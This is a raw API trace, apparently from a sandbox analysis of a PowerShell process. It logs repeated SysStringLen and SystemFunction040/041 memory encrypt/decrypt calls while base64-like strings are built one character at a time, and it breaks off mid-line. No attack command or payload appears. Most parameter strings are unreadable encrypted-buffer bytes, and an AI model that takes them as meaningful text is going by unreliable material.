SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ") returned 0x28 [0189.482] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.483] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumIE曵퐘㔇빩淒") returned 0x28 [0189.483] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.483] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ颁膭룦뱖ᛛ䌔꼒䭑") returned 0x28 [0189.483] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ颁膭룦뱖ᛛ䌔꼒䭑") returned 0x28 [0189.483] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.483] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumIEO퐘㔇빩淒") returned 0x28 [0189.483] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.483] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ⟎襘\諘㆘䎅绰㇕⊶) returned 0x28 [0189.483] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ⟎襘\諘㆘䎅绰㇕⊶) returned 0x28 [0189.483] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.484] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumIEOn㔇빩淒") returned 0x28 [0189.484] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.484] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ检\⟲ㅐ⹄ᴠ曆⊟) returned 0x28 [0189.484] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ检\⟲ㅐ⹄ᴠ曆⊟) returned 0x28 [0189.484] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.484] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumIEOny㔇빩淒") returned 0x28 [0189.484] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.484] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ䑮턚䁅ח袈繈垅㲁") returned 0x28 [0189.485] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ䑮턚䁅ח袈繈垅㲁") returned 0x28 [0189.485] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.485] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumIEOny6㔇빩淒") returned 0x28 [0189.485] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.485] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ㒌〺訥㯥⼤ꎫ볳乢") returned 0x28 [0189.485] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ㒌〺訥㯥⼤ꎫ볳乢") returned 0x28 [0189.485] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.485] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumIEOny6e빩淒") returned 0x28 [0189.485] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.486] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩᙥ頳낟⣵싮䵽") returned 0x28 [0189.486] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩᙥ頳낟⣵싮䵽") returned 0x28 [0189.486] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.486] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumIEOny6ev淒") returned 0x28 [0189.486] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.486] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ켜㱕\迟醾赐䵫⋉) returned 0x28 [0189.486] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ켜㱕\迟醾赐䵫⋉) returned 0x28 [0189.486] SystemFunction041 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.486] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumIEOny6evz") returned 0x28 [0189.486] SystemFunction040 (in: Memory=0x3c0b64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0b64) returned 0x0 [0189.487] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ෺꠾䪨醆ਯ") returned 0x28 [0189.488] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ෺꠾䪨醆ਯ") returned 0x28 [0189.488] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ෺꠾䪨醆ਯ") returned 0x28 [0189.488] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ෺꠾䪨醆ਯ") returned 0x30 [0189.488] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0189.488] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumIEOny6evzR㕯雋ደ셇⟹祜⩒") returned 0x30 [0189.488] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0189.488] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ෺꠾䪨醆ਯ敱嫈쟳崅戗뾳鉀ꠙ") returned 0x30 [0189.488] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ෺꠾䪨醆ਯ敱嫈쟳崅戗뾳鉀ꠙ") returned 0x30 [0189.488] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0189.489] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumIEOny6evzRW雋ደ셇⟹祜⩒") returned 0x30 [0189.489] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0189.489] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ෺꠾䪨醆ਯ沨ㆴ䟢\ﳝǯ㺳⊍) returned 0x30 [0189.489] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ෺꠾䪨醆ਯ沨ㆴ䟢\ﳝǯ㺳⊍) returned 0x30 [0189.489] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0189.489] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumIEOny6evzRWsደ셇⟹祜⩒") returned 0x30 [0189.489] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0189.489] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ෺꠾䪨醆ਯ曂Ý߻栒륋輊\ෝ≡) returned 0x30 [0189.489] SysStringLen (param_1="縴㈻㉝棃弎皠쌖鉌癨슛䁿ឪꇯࡿ菤쥘繲꩙口畢杵ঐ酾ᓃ幠ꍱ囵慽荸촚ꃩ෺꠾䪨醆ਯ曂Ý߻栒륋輊\ෝ≡) returned 0x30 [0189.489] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0189.490] SysStringLen (param_1="qBe+QA5FvhKCPf9kQ7c7HpQlaDHTXumIEOny6evzRWs=셇⟹祜⩒") returned 0x30 [0189.490] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0189.490] EtwEventActivityIdControl () returned 0x0 [0189.490] EtwEventActivityIdControl () returned 0x0 [0189.490] EtwEventActivityIdControl () returned 0x0 [0189.492] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.492] EtwEventActivityIdControl () returned 0x0 [0189.493] EtwEventActivityIdControl () returned 0x0 [0189.493] EtwEventActivityIdControl () returned 0x0 [0189.494] SysStringLen (param_1="") returned 0x8 [0189.494] SysStringLen (param_1="N") returned 0x8 [0189.494] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.494] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0189.494] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0189.494] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.494] SysStringLen (param_1="ND") returned 0x8 [0189.494] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.494] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0189.494] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0189.494] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.495] SysStringLen (param_1="NDZ") returned 0x8 [0189.495] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.495] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0189.495] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0189.495] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.495] SysStringLen (param_1="NDZl") returned 0x8 [0189.495] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.495] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0189.495] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0189.495] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.495] SysStringLen (param_1="NDZlO") returned 0x8 [0189.495] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.496] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0189.496] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0189.496] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.496] SysStringLen (param_1="NDZlOD") returned 0x8 [0189.496] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.496] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0189.496] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0189.496] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.496] SysStringLen (param_1="NDZlODR") returned 0x8 [0189.496] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.496] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0189.496] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0189.496] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.497] SysStringLen (param_1="NDZlODRm") returned 0x8 [0189.497] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.497] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0189.497] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0189.497] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0189.497] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0189.497] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.497] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0189.497] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.497] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0189.497] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0189.498] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.498] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0189.498] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.498] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0189.498] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0189.498] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.498] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0189.498] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.498] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0189.498] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0189.498] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.498] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0189.498] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.499] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0189.499] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0189.499] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.499] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0189.499] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.499] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0189.499] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0189.499] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.500] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0189.500] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.500] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0189.500] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0189.500] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.500] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0189.500] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.500] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0189.500] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0189.500] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.500] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0189.500] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.503] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0189.503] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0189.503] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0189.503] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0189.503] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.503] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0189.503] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.503] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0189.503] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0189.503] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.504] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0189.504] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.504] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0189.504] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0189.504] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.504] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0189.504] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.504] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0189.504] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0189.504] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.504] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0189.504] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.504] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0189.504] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0189.504] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.505] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0189.505] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.505] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0189.505] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0189.505] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.505] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0189.505] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.505] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0189.505] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0189.505] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.505] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0189.505] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.505] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0189.505] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0189.505] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.506] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0189.506] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.506] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0189.506] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0189.506] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0189.506] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0189.506] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.506] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0189.506] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.506] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0189.506] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0189.506] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.506] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0189.506] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.507] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0189.507] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0189.507] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.507] SysStringLen 